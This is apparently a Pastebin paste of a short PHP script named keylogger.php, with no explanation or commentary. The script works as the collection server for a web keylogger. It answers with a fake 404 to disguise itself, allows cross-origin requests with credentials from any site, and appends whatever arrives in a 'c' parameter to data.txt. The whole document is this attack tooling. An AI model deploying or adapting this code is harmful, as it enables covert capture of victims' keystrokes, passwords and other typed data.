Advertisement
kcmcgill

keylogger.php

Jul 17th, 2018
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.46 KB | None | 0 0
  1. <html>
  2.  
  3. <?php
  4. header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
  5. header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
  6. header('Access-Control-Allow-Credentials: true');
  7. header('Access-Control-Allow-Origin: *');
  8. header('Access-Control-Allow-Headers: Content-Type, *');
  9. $file = 'data.txt';
  10. if(isset($_REQUEST['c']) && !empty($_REQUEST['c']))
  11. {
  12.     file_put_contents($file, $_REQUEST['c'], FILE_APPEND);
  13.     printf("LOGGED!");
  14. }
  15. ?>
  16.  
  17. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement